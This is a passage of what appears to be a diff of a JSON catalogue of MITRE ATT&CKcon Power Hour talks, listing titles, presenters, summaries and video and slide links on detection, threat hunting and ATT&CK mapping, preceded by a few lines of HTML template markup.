| ID | +Name | +Technique Detected | +
|---|---|---|
| + {{detection_strategy.attack_id}} + | ++ {{detection_strategy.name}} + | ++ {{detection_strategy.technique_attack_id}} + | +
| ID | +Name | +Analytic ID | +Analytic Description | +
|---|---|---|---|
| + {{detection_strategy.id}} + | ++ {{detection_strategy.name}} + | + {% endif %} ++ {{ analytic.id }} + | ++ {{clean_output.stixToHTML(analytic.description, citations)}} + | +
In early 2018, Red Canary adopted MITRE ATT&CK as the common language that they would use to categorize threats, measure detection coverage, and communicate about malicious behaviors. In the intervening years, they’ve relied on the framework to develop open source tools like Atomic Red Team and help security teams prioritize their defensive efforts with blogs and our annual Threat Detection Report.
In early 2020, MITRE announced that ATT&CK would be expanding its original taxonomy of tactics and techniques to include sub-techniques. In the months that followed MITRE's announcement, Red Canary’s research, intelligence, and detection engineering teams painstakingly remapped their library of thousands of behavioral analytics to sub-techniques. In doing so, they improved their correlational logic, experimented with the idea of conditional technique mapping, and, unfortunately, rendered the 2020 Threat Detection Report out-of-date.
In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Brian discusses how refactoring for sub-techniques offered us the opportunity to apply all the lessons learned in more than two years of operationalizing ATT&CK. He also explores how Red Canary has remodeled its ATT&CK mapping to allow for added flexibility and human input and shows what happens when the Red Canary applied their new sub-technique mappings to the 2020 Threat Detection Report.
", - "video": "https://www.youtube.com/watch?v=z2R0oc70lc8&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=19", - "slides": "https://www.slideshare.net/attackcon2018/starting-over-with-subtechniques" - }, - { - "title": "Using MITRE PRE-ATT&CK and ATT&CK In Cybercrime Education and Research", - "presenters": [{ - "names": ["Aunshul Rege", "Rachel Bleiman"], - "organization": "Temple University" - }], - "description": "This presentation from the MITRE ATT&CKcon Power Hour session on October 9, 2020, explores the application of the MITRE ATT&CK and PRE-ATT&CK matrices in cybercrime education and research. Specifically, Rege and Bleiman demonstrate the mapping of the PRE-ATT&CK matrix to social engineering case studies as an experiential learning project in an upper-level cybercrime liberal arts course. It thus allows students to understand the alignment process of threat intelligence to the PRE-ATT&CK framework and also learn about its usefulness/limitations. The talk also discusses the mapping of the ATT&CK matrix, tactics, techniques, software, and groups for two cybercrime datasets created by collating publicly disclosed incidents: (i) critical infrastructure ransomware (CIRW) incidents, and (ii) social engineering (SE) incidents. For the CIRW dataset, 39% of the strains mapped onto the ATT&CK software. For the SE dataset, 49% of the groups and 65% of the techniques map on to the MITRE framework. This helps the researchers identify the framework's usefulness/limitations and also helps our datasets connect to richer information that may not otherwise be available in the publicly disclosed incidents.", - "video": "https://www.youtube.com/watch?v=WJz6zXJ0ABs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=20", - "slides": "https://www.slideshare.net/attackcon2018/using-mitre-preattck-and-attck-in-cybercrime-education-and-research" - }, - { - "title": "Without Attacking: Transforming Adversary Emulations Into A Data Analysis Question", - "presenters": [{ - "names": ["Matan Hart"], - "organization": "Cymptom" - }], - "description": "Adversary emulation is commonly used to validate security controls and is considered one of the most popular use-cases for the ATT&CK framework. However, emulating adversary TTPs on production environments is often very limited in testing scope and frequency, and such practice may cause unwanted business disruption. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Hart presents a different approach to testing controls against ATT&CK. He demonstrates how it is possible to provide data-based methods to evaluate the exploitability of ATT&CK techniques by gathering information from the network, endpoint, and services; this unique approach does not emulate any sort of malicious action, thus reducing the potential of causing business disruption to the minimum. Hart also outlines a new open-source guideline based on ATT&CK mitigations, that security teams can use to assess their security posture non-intrusively and at scale.", - "video": "https://www.youtube.com/watch?v=07YoerY050I&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=21", - "slides": "https://www.slideshare.net/attackcon2018/transforming-adversary-emulation-into-a-data-analysis-question" - }, - { - "title": "Detecting ATT&CK's With Dynamic Thresholds Using Tukey’s Test and Azure Sentinel", - "presenters": [{ - "names": ["Jair Santanna"], - "organization": "Northwave" - }], - "description": "How do you detect abnormal activities based on frequency, for example, a suspicious number of sign-ins (leading to a brute force attack), suspicious amount of data transfer (leading to a data exfiltration), and malicious scanning or discovering activities? Usually, you would count the frequency of the activity and if this number exceeds a pre-defined threshold then you would consider it abnormal/attack. The problem here is the definition of this threshold (and the reduction of false positives and negatives). Some practitioners set this threshold to 5, others to 10, and in some situations, to 30 or even higher. The remaining question is how to obtain a statistically sounding threshold? In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Jair Santanna answers this question by using a half-century-old statistical method to define such a dynamic threshold (John Tukey’s \"honestly significant difference\"-HSD). Northwave has implemented this method in a production environment over several ATT&CK techniques using the Security Information and Event Management (SIEM) from Microsoft, Azure Sentinel. Northwave’s scripts are publicly available. In this presentation, Santanna sheds light on dynamic thresholds for security monitoring and discuss how to move forward with this challenging old problem.", - "video": "https://www.youtube.com/watch?v=elZ7RST51zs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=22" - }, - { - "title": "Ta505 - A Study of High End Big Game Hunting In 2020", - "presenters": [{ - "names": ["Brandon Levene"], - "organization": "Google" - }], - "description": "Opportunistically targeted ransomware deployments, aka Big Game Hunting (BGH), have caused a distinct disruption in the mechanics of monetizing crimeware compromises. This strategy has become the “end game” for the majority of organized cybercrime organizations, and one effect of this shift is the increased emphasis on enterprise-level targets. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Levene walks us through research about how a specific BGH threat actor pursues entry points, gains its foothold, pivots, and deploys payloads to maximize their financial gains with minimal effort - and infrastructure! You’ll walk away with an understanding of the latest BGH TTPs seen in enterprise environments, and how they map to the ATT&CK framework so you can build this research into your threat detection strategy and enhance your defenses.", - "video": "https://www.youtube.com/watch?v=CNTAK54JxrI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=23", - "slides": "https://www.slideshare.net/attackcon2018/ta505-a-study-of-high-end-big-game-hunting-in-2020" - }, - { - "title": "What’s New with ATT&CK for Cloud?", - "presenters": [{ - "names": ["Jack Burns"], - "organization": "MITRE" - }], - "description": "Jack Burns is a Lead Cybersecurity Engineer at MITRE and the Lead for MITRE ATT&CK for Cloud. He’s also a red team developer and lead for ATT&CK Evaluations, using his skills in software engineering and adversary emulation. Previously, he was a tech lead at HubSpot on the Infrastructure Security team where he focused on red teaming and building detections in the cloud environment. This presentation is from the MITRE ATT&Ckcon Power Hour session held on October 9, 2020.", - "video": "https://www.youtube.com/watch?v=a-xs5VqlcKI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=24", - "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attck-for-cloud" - }, - { - "title": "Mapping The Eventbot Mobile Banking Trojan With MITRE ATT&CK For Mobile", - "presenters": [{ - "names": ["Allie Mellen"], - "organization": "Cybereason" - }], - "description": "In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, Allie discusses how the Cybereason research team uses both MITRE ATT&CK and MITRE ATT&CK for Mobile to map and communicate new malware to the larger security community. Teams use the MITRE ATT&CK framework to share techniques, tactics, and procedures with their team and the community at large. This knowledge base has been incredibly beneficial for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Many of these uses have centered around traditional endpoints like laptops and workstations. However, the MITRE ATT&CK team has also created a cutting-edge portion of their framework: MITRE ATT&CK for Mobile.
One of the most recent pieces of malware they have found is EventBot, a mobile banking trojan that targets Android devices and the financial services applications on them, including popular apps like Paypal Business, Revolut, Barclays, UniCredit, CapitalOne UK, HSBC UK, Santander UK, TransferWise, Coinbase, paysafecard, and many more. In this talk, learn about this specific attack, intended targets, a timeline of the attack, and the MITRE ATT&CK for Mobile mapping. Learn why the Cybereason team map to MITRE ATT&CK and MITRE ATT&CK for Mobile and what benefits it has given them and their interactions with the community.
", - "video": "https://www.youtube.com/watch?v=70pR0Er2s5c&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=13", - "slides": "https://www.slideshare.net/attackcon2018/mapping-the-eventbot-mobile-banking-trojan-with-mitre-attack-for-mobile" - }, - { - "title": "ATT&CKing The Cloud: Hopping Between The Matrices", - "presenters": [{ - "names": ["Anthony Randazzo"], - "organization": "Expel" - }], - "description": "The team at Expel has been migrating to the cloud for the last 10 years, but as usual, security has lagged behind. Which means we don't have a comprehensive detection and response framework for cloud like we do with the Enterprise ATT&CK matrix. Cloud has evolved into a complex beast as technologies and concepts - like Infrastructure As Code, Containers, Kubernetes and so forth - have emerged. These new attack surfaces have been added that introduce additional challenges to detection and response in our cloud environments. We don't know what we don't know about attack life cycles in the cloud. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Anthony shares some interesting lessons learned so far when it comes to finding bad guys in the cloud.", - "video": "https://www.youtube.com/watch?v=f1E6bquRxlA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=14", - "slides": "https://www.slideshare.net/attackcon2018/attacking-the-cloud-hopping-between-the-matrices" - }, - { - "title": "Building Detections For Cloud With KQL and ATT&CK", - "presenters": [{ - "names": ["Nitya Garg"], - "organization": "LinkedIn" - }], - "description": "Writing and deploying custom detections with high efficacy is one of the most important goals of any SIRT team. It involves multiple stages, starting from developing a detection hypothesis, to writing the detection query, and validating it against a simulated true positive scenario. With ever-changing threat landscape and hybrid cloud environments, the process can be intensive and overwhelming. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Nitya talks about how we can leverage MITRE ATT&CK to not only simplify detection engineering but make it more efficient. The presentation will also include a demo on how to build a detection query, written in KQL(Kusto Query Languauge), for an ATT&CK technique from MITRE Cloud Matrix.", - "video": "https://www.youtube.com/watch?v=dEORNlCS7xc&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=15" - }, - { - "title": "What’s a MITRE with Your Security?", - "presenters": [{ - "names": ["Matt Snyder"], - "organization": "VMWare" - }], - "description": "The market for Security products is flooded with vendors offering all sorts of solutions, and organizations are spending a record amount of money defending their environments. Nevertheless, an increasing number of breaches are reported each year, resulting in organizations spending millions of dollars to remediate them. The Security industry responds with more products, all offering to stop the next breach, and the cycle continues. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Matt discusses what VMware is doing internally to address this fundamental flaw in the Security industry and how they are leveraging the MITRE ATT&CK framework to reshape how we think about security.", - "video": "https://www.youtube.com/watch?v=lBVKLTbR12k&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=16", - "slides": "https://www.slideshare.net/attackcon2018/whats-a-mitre-with-your-security" - }, - { - "title": "Putting the PRE into ATT&CK", - "presenters": [{ - "names": ["Jamie Williams", "Mike Hartley"], - "organization": "MITRE" - }], - "description": "In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020 Jamie Williams and Mike Hartley from MITRE discuss the process for merging PRE-ATT&CK and adding two new tactics to Enterprise ATT&CK - Reconnaissance and Resource Development.", - "video": "https://www.youtube.com/watch?v=M_uG_hlmTcA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=17", - "slides": "https://www.slideshare.net/attackcon2018/putting-the-pre-into-attack" - }, - { - "title": "Helping Small Companies Leverage CTI with an Open Source Threat Mapping", - "presenters": [{ - "names": ["Valentina Palacín"], - "organization": "Senior Cyber Threat Intelligence Analyst" - }], - "description": "No one can deny the tremendous impact that ATT&CK had on the cybersecurity industry, nor the usefulness of having a good Threat Library at your disposal. But the question Valentina gets asked over and over by people from small companies is always the same: “How could I leverage threat intelligence using ATT&CK with limited time and resources?” And so far, there hasn't been a good answer. That’s why she decided to come up with the Threat Mapping Catalogue (TMC), a tool that combines the power of the mappings already available in the ATT&CK website, TRAM and the ATT&CK Navigator, to better process, consume and incorporate new mappings while organizing them around different categories.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", - "video": "https://www.youtube.com/watch?v=3R3cwP3yFK4&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=7", - "slides": "https://www.slideshare.net/attackcon2018/helping-small-companies-leverage-cti-with-an-open-source-threat-mapping" - }, - { - "title": "From Theory to Practice: How My ATT&CK Perspectives Have Changed", - "presenters": [{ - "names": ["Katie Nickels"], - "organization": "Red Canary" - }], - "description": "Good analysts (and good human beings) change their minds based on new information. In this presentation, Katie will share how her perspectives on ATT&CK have changed since moving from ATT&CK team member to ATT&CK end-user. She will discuss how her ideas about coverage, procedures, and detection creation have evolved and why those perspectives matter. Katie will also share practical examples from observed threats to help explain the nuances of her perspectives. Attendees should expect to leave this presentation with a better understanding of how to handle challenges they’re likely to face when navigating their own ATT&CK journey.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", - "video": "https://www.youtube.com/watch?v=IWA0T-GpQDk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=8", - "slides": "https://www.slideshare.net/attackcon2018/from-theory-to-practice-how-my-attack-perspectives-have-changed" - }, - { - "title": "Sharpening Your Threat Hunting Program with ATT&CK Framework", - "presenters": [{ - "names": ["Hieu Tran"], - "organization": "FPT Cybersecurity Division" - }], - "description": "No matter how sophisticated and thorough your security precautions may be, you cannot assume your security measures are impenetrable. This is why you need a threat hunting program in place. But how can we implement a proper threat hunting program and run it efficiently? In this talk, we will uncover how to sharpen your threat hunting strategy by leveraging ATT&CK. Ultimately, we’ll be demonstrating how effectively employing the hunting methodology in the real-world battlefield, fighting against well-known cyber espionage actors who strongly focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", - "video": "https://www.youtube.com/watch?v=9nUNuwiN52s&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=9", - "slides": "https://www.slideshare.net/attackcon2018/sharpening-your-threathunting-program-with-attack-framework" - }, - { - "title": "Using ATT&CK To Create Cyber DBTs For Nuclear Power Plants", - "presenters": [{ - "names": ["Jacob Benjamin"], - "organization": "Dragos" - }], - "description": "Design Basis Threat (DBT) is a concept introduced by the Nuclear Regulatory Commission (NRC). It is a profile of the type, composition, and capabilities of an adversary. DBT is the key input nuclear power plants use for the design of systems against acts of radiological sabotage and theft of special nuclear material. The NRC expects its licensees, nuclear power plants, to demonstrate that they can defend against the DBT. Currently, cyber is included in DBTs simply as a prescribed list of IT centric security controls. Using MITRE’s ATT&CK framework, Cyber DBTs can be created that are specific to the facility, its material, or adversary activities.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", - "video": "https://www.youtube.com/watch?v=xbnSuKTMkKo&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=10", - "slides": "https://www.slideshare.net/attackcon2018/using-attack-to-create-cyber-dbts-for-nuclear-power-plants" - }, - { - "title": "What’s New with ATT&CK for ICS?", - "presenters": [{ - "names": ["Otis Alexander"], - "organization": "MITRE" - }], - "description": "Otis Alexander is a Principal Cyber Security Engineer at the MITRE Corporation and has worked in the areas of security engineering and research, analytic development, and adversary modeling and emulation. Otis is a co-creator of ATT&CK for ICS and has been leading the project since its inception. He also leads an effort to bring MITRE ATT&CK Evaluations to ICS security vendors providing anomaly and threat detection solutions. He advocates for network and host visibility in operational technology environments to increase the situational awareness of defenders.
This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.
", - "video": "https://www.youtube.com/watch?v=_GZwY-9QyFk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=11", - "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attack-for-ics" - }, - { - "title": "Measure What Matters: How to Use ATT&CK to Do the Right Things in the Right Order", - "presenters": [{ - "names": ["Daniel Wyleczuk-Stern"], - "organization": "Snowflake" - }], - "description": "Cyber security is inherently a function of risk management. Risk management is the identification, evaluation, and prioritization of risks followed by the effort to reduce those risks in a coordinated and economical manner (thanks wikipedia!). In this talk, Daniel will be going over some strategies for measuring and prioritizing your cyber risks using MITRE ATT&CK . He'll discuss some lessons learned in atomic testing of techniques vs attack chaining as well as what to measure and how to make decisions with that data.
This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.
", - "video": "https://www.youtube.com/watch?v=XpuAnF5TLVA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=2", - "slides": "https://www.slideshare.net/attackcon2018/measure-what-matters-how-to-use-mitre-attack-to-do-the-right-things-in-the-right-order" - }, - { - "title": "ATT&CKers Think in Graphs", - "presenters": [{ - "names": ["Valentine Mairet"], - "organization": "McAfee" - }], - "description": "The MITRE ATT&CK framework is the industry standard to dissect cyberattacks into used techniques. At McAfee, all attack information is disseminated into different categories, including ATT&CK techniques. What results from this exercise is an extensive repository of techniques used in cyberattacks that goes back many years. Much can be learned from looking at historical attack data, but how can we piece all this information together to identify new relationships between threats and attacks? In her recent efforts, Valentine has embraced analyzing ATT&CK data in graphical representations. One lesson learned is that it is not just about merely mapping out attacks and techniques used into graphs, but the strength lies in applying different algorithms to answer specific questions. In this presentation, Valentine will showcase the results and techniques obtained from her research journey using graph and graph algorithms.
This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.
", - "video": "https://www.youtube.com/watch?v=2MBcGMSBC-U&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=3", - "slides": "https://www.slideshare.net/attackcon2018/attackers-think-in-graphs-building-graphs-for-threat-intelligence" - }, - { - "title": "ATT&CK-Onomics: Exploring the Economics Behind Techniques Used By Adversaries", - "presenters": [{ - "names": ["Gert-Jan Bruggink"], - "organization": "FalconForce" - }], - "description": "Adversaries are humans as well. They have objectives, deadlines and resources for programming.
In a sense, very similar to corporations grounded in the economics of effort vs time vs results. Now understanding techniques is one thing, taking it a step further and understanding what the economic impact is of using certain techniques is another. Developing tools takes time. For example, developing a custom process injection module might take days or weeks to develop, where using an open source tool could prevent extensive development costs incurred.
This talk explores the economic considerations for defending against techniques used by adversaries. It explores fundamental considerations all referenced to MITRE’s ATT&CK framework. The objective of this talk is to inspire defensive strategies designed to impact cost incurred by adversaries to perform compromises.
This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.
", - "video": "https://www.youtube.com/watch?v=gmqs10b97jw&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=4", - "slides": "https://www.slideshare.net/attackcon2018/attackonomics-attacking-the-economics-behind-techniques-used-by-adversaries" - }, - { - "title": "State of the ATT&CK ", - "presenters": [{ - "names": ["Adam Pennington"], - "organization": "MITRE" - }], - "description": "In this presentation from the MITRE ATT&CKcon Power Hour held on January 14, 2021, MITRE ATT&CK lead Adam Pennington gives an update on the current and future state of the MITRE ATT&CK framework.", - "video": "https://www.youtube.com/watch?v=USDHmKiLNJM&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=5", - "slides": "https://www.slideshare.net/attackcon2018/state-of-the-attack" - } + { + "title": "Starting Over with Sub-Techniques: Lessons Learned Remapping Detection Analytics", + "presenters": [ + { + "names": [ + "Brian Donohue" + ], + "organization": "Red Canary" + } + ], + "description": "In early 2018, Red Canary adopted MITRE ATT&CK as the common language that they would use to categorize threats, measure detection coverage, and communicate about malicious behaviors. In the intervening years, they’ve relied on the framework to develop open source tools like Atomic Red Team and help security teams prioritize their defensive efforts with blogs and our annual Threat Detection Report.
In early 2020, MITRE announced that ATT&CK would be expanding its original taxonomy of tactics and techniques to include sub-techniques. In the months that followed MITRE's announcement, Red Canary’s research, intelligence, and detection engineering teams painstakingly remapped their library of thousands of behavioral analytics to sub-techniques. In doing so, they improved their correlational logic, experimented with the idea of conditional technique mapping, and, unfortunately, rendered the 2020 Threat Detection Report out-of-date.
In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Brian discusses how refactoring for sub-techniques offered us the opportunity to apply all the lessons learned in more than two years of operationalizing ATT&CK. He also explores how Red Canary has remodeled its ATT&CK mapping to allow for added flexibility and human input and shows what happens when the Red Canary applied their new sub-technique mappings to the 2020 Threat Detection Report.
", + "video": "https://www.youtube.com/watch?v=z2R0oc70lc8&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=19", + "slides": "https://www.slideshare.net/attackcon2018/starting-over-with-subtechniques" + }, + { + "title": "Using MITRE PRE-ATT&CK and ATT&CK In Cybercrime Education and Research", + "presenters": [ + { + "names": [ + "Aunshul Rege", + "Rachel Bleiman" + ], + "organization": "Temple University" + } + ], + "description": "This presentation from the MITRE ATT&CKcon Power Hour session on October 9, 2020, explores the application of the MITRE ATT&CK and PRE-ATT&CK matrices in cybercrime education and research. Specifically, Rege and Bleiman demonstrate the mapping of the PRE-ATT&CK matrix to social engineering case studies as an experiential learning project in an upper-level cybercrime liberal arts course. It thus allows students to understand the alignment process of threat intelligence to the PRE-ATT&CK framework and also learn about its usefulness/limitations. The talk also discusses the mapping of the ATT&CK matrix, tactics, techniques, software, and groups for two cybercrime datasets created by collating publicly disclosed incidents: (i) critical infrastructure ransomware (CIRW) incidents, and (ii) social engineering (SE) incidents. For the CIRW dataset, 39% of the strains mapped onto the ATT&CK software. For the SE dataset, 49% of the groups and 65% of the techniques map on to the MITRE framework. This helps the researchers identify the framework's usefulness/limitations and also helps our datasets connect to richer information that may not otherwise be available in the publicly disclosed incidents.", + "video": "https://www.youtube.com/watch?v=WJz6zXJ0ABs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=20", + "slides": "https://www.slideshare.net/attackcon2018/using-mitre-preattck-and-attck-in-cybercrime-education-and-research" + }, + { + "title": "Without Attacking: Transforming Adversary Emulations Into A Data Analysis Question", + "presenters": [ + { + "names": [ + "Matan Hart" + ], + "organization": "Cymptom" + } + ], + "description": "Adversary emulation is commonly used to validate security controls and is considered one of the most popular use-cases for the ATT&CK framework. However, emulating adversary TTPs on production environments is often very limited in testing scope and frequency, and such practice may cause unwanted business disruption. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Hart presents a different approach to testing controls against ATT&CK. He demonstrates how it is possible to provide data-based methods to evaluate the exploitability of ATT&CK techniques by gathering information from the network, endpoint, and services; this unique approach does not emulate any sort of malicious action, thus reducing the potential of causing business disruption to the minimum. Hart also outlines a new open-source guideline based on ATT&CK mitigations, that security teams can use to assess their security posture non-intrusively and at scale.", + "video": "https://www.youtube.com/watch?v=07YoerY050I&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=21", + "slides": "https://www.slideshare.net/attackcon2018/transforming-adversary-emulation-into-a-data-analysis-question" + }, + { + "title": "Detecting ATT&CK's With Dynamic Thresholds Using Tukey’s Test and Azure Sentinel", + "presenters": [ + { + "names": [ + "Jair Santanna" + ], + "organization": "Northwave" + } + ], + "description": "How do you detect abnormal activities based on frequency, for example, a suspicious number of sign-ins (leading to a brute force attack), suspicious amount of data transfer (leading to a data exfiltration), and malicious scanning or discovering activities? Usually, you would count the frequency of the activity and if this number exceeds a pre-defined threshold then you would consider it abnormal/attack. The problem here is the definition of this threshold (and the reduction of false positives and negatives). Some practitioners set this threshold to 5, others to 10, and in some situations, to 30 or even higher. The remaining question is how to obtain a statistically sounding threshold? In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Jair Santanna answers this question by using a half-century-old statistical method to define such a dynamic threshold (John Tukey’s \"honestly significant difference\"-HSD). Northwave has implemented this method in a production environment over several ATT&CK techniques using the Security Information and Event Management (SIEM) from Microsoft, Azure Sentinel. Northwave’s scripts are publicly available. In this presentation, Santanna sheds light on dynamic thresholds for security monitoring and discuss how to move forward with this challenging old problem.", + "video": "https://www.youtube.com/watch?v=elZ7RST51zs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=22" + }, + { + "title": "Ta505 - A Study of High End Big Game Hunting In 2020", + "presenters": [ + { + "names": [ + "Brandon Levene" + ], + "organization": "Google" + } + ], + "description": "Opportunistically targeted ransomware deployments, aka Big Game Hunting (BGH), have caused a distinct disruption in the mechanics of monetizing crimeware compromises. This strategy has become the “end game” for the majority of organized cybercrime organizations, and one effect of this shift is the increased emphasis on enterprise-level targets. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Levene walks us through research about how a specific BGH threat actor pursues entry points, gains its foothold, pivots, and deploys payloads to maximize their financial gains with minimal effort - and infrastructure! You’ll walk away with an understanding of the latest BGH TTPs seen in enterprise environments, and how they map to the ATT&CK framework so you can build this research into your threat detection strategy and enhance your defenses.", + "video": "https://www.youtube.com/watch?v=CNTAK54JxrI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=23", + "slides": "https://www.slideshare.net/attackcon2018/ta505-a-study-of-high-end-big-game-hunting-in-2020" + }, + { + "title": "What’s New with ATT&CK for Cloud?", + "presenters": [ + { + "names": [ + "Jack Burns" + ], + "organization": "MITRE" + } + ], + "description": "Jack Burns is a Lead Cybersecurity Engineer at MITRE and the Lead for MITRE ATT&CK for Cloud. He’s also a red team developer and lead for ATT&CK Evaluations, using his skills in software engineering and adversary emulation. Previously, he was a tech lead at HubSpot on the Infrastructure Security team where he focused on red teaming and building detections in the cloud environment. This presentation is from the MITRE ATT&Ckcon Power Hour session held on October 9, 2020.", + "video": "https://www.youtube.com/watch?v=a-xs5VqlcKI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=24", + "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attck-for-cloud" + }, + { + "title": "Mapping The Eventbot Mobile Banking Trojan With MITRE ATT&CK For Mobile", + "presenters": [ + { + "names": [ + "Allie Mellen" + ], + "organization": "Cybereason" + } + ], + "description": "In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, Allie discusses how the Cybereason research team uses both MITRE ATT&CK and MITRE ATT&CK for Mobile to map and communicate new malware to the larger security community. Teams use the MITRE ATT&CK framework to share techniques, tactics, and procedures with their team and the community at large. This knowledge base has been incredibly beneficial for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Many of these uses have centered around traditional endpoints like laptops and workstations. However, the MITRE ATT&CK team has also created a cutting-edge portion of their framework: MITRE ATT&CK for Mobile.
One of the most recent pieces of malware they have found is EventBot, a mobile banking trojan that targets Android devices and the financial services applications on them, including popular apps like Paypal Business, Revolut, Barclays, UniCredit, CapitalOne UK, HSBC UK, Santander UK, TransferWise, Coinbase, paysafecard, and many more. In this talk, learn about this specific attack, intended targets, a timeline of the attack, and the MITRE ATT&CK for Mobile mapping. Learn why the Cybereason team map to MITRE ATT&CK and MITRE ATT&CK for Mobile and what benefits it has given them and their interactions with the community.
", + "video": "https://www.youtube.com/watch?v=70pR0Er2s5c&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=13", + "slides": "https://www.slideshare.net/attackcon2018/mapping-the-eventbot-mobile-banking-trojan-with-mitre-attack-for-mobile" + }, + { + "title": "ATT&CKing The Cloud: Hopping Between The Matrices", + "presenters": [ + { + "names": [ + "Anthony Randazzo" + ], + "organization": "Expel" + } + ], + "description": "The team at Expel has been migrating to the cloud for the last 10 years, but as usual, security has lagged behind. Which means we don't have a comprehensive detection and response framework for cloud like we do with the Enterprise ATT&CK matrix. Cloud has evolved into a complex beast as technologies and concepts - like Infrastructure As Code, Containers, Kubernetes and so forth - have emerged. These new attack surfaces have been added that introduce additional challenges to detection and response in our cloud environments. We don't know what we don't know about attack life cycles in the cloud. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Anthony shares some interesting lessons learned so far when it comes to finding bad guys in the cloud.", + "video": "https://www.youtube.com/watch?v=f1E6bquRxlA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=14", + "slides": "https://www.slideshare.net/attackcon2018/attacking-the-cloud-hopping-between-the-matrices" + }, + { + "title": "Building Detections For Cloud With KQL and ATT&CK", + "presenters": [ + { + "names": [ + "Nitya Garg" + ], + "organization": "LinkedIn" + } + ], + "description": "Writing and deploying custom detections with high efficacy is one of the most important goals of any SIRT team. It involves multiple stages, starting from developing a detection hypothesis, to writing the detection query, and validating it against a simulated true positive scenario. With ever-changing threat landscape and hybrid cloud environments, the process can be intensive and overwhelming. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Nitya talks about how we can leverage MITRE ATT&CK to not only simplify detection engineering but make it more efficient. The presentation will also include a demo on how to build a detection query, written in KQL(Kusto Query Languauge), for an ATT&CK technique from MITRE Cloud Matrix.", + "video": "https://www.youtube.com/watch?v=dEORNlCS7xc&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=15" + }, + { + "title": "What’s a MITRE with Your Security?", + "presenters": [ + { + "names": [ + "Matt Snyder" + ], + "organization": "VMWare" + } + ], + "description": "The market for Security products is flooded with vendors offering all sorts of solutions, and organizations are spending a record amount of money defending their environments. Nevertheless, an increasing number of breaches are reported each year, resulting in organizations spending millions of dollars to remediate them. The Security industry responds with more products, all offering to stop the next breach, and the cycle continues. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Matt discusses what VMware is doing internally to address this fundamental flaw in the Security industry and how they are leveraging the MITRE ATT&CK framework to reshape how we think about security.", + "video": "https://www.youtube.com/watch?v=lBVKLTbR12k&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=16", + "slides": "https://www.slideshare.net/attackcon2018/whats-a-mitre-with-your-security" + }, + { + "title": "Putting the PRE into ATT&CK", + "presenters": [ + { + "names": [ + "Jamie Williams", + "Mike Hartley" + ], + "organization": "MITRE" + } + ], + "description": "In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020 Jamie Williams and Mike Hartley from MITRE discuss the process for merging PRE-ATT&CK and adding two new tactics to Enterprise ATT&CK - Reconnaissance and Resource Development.", + "video": 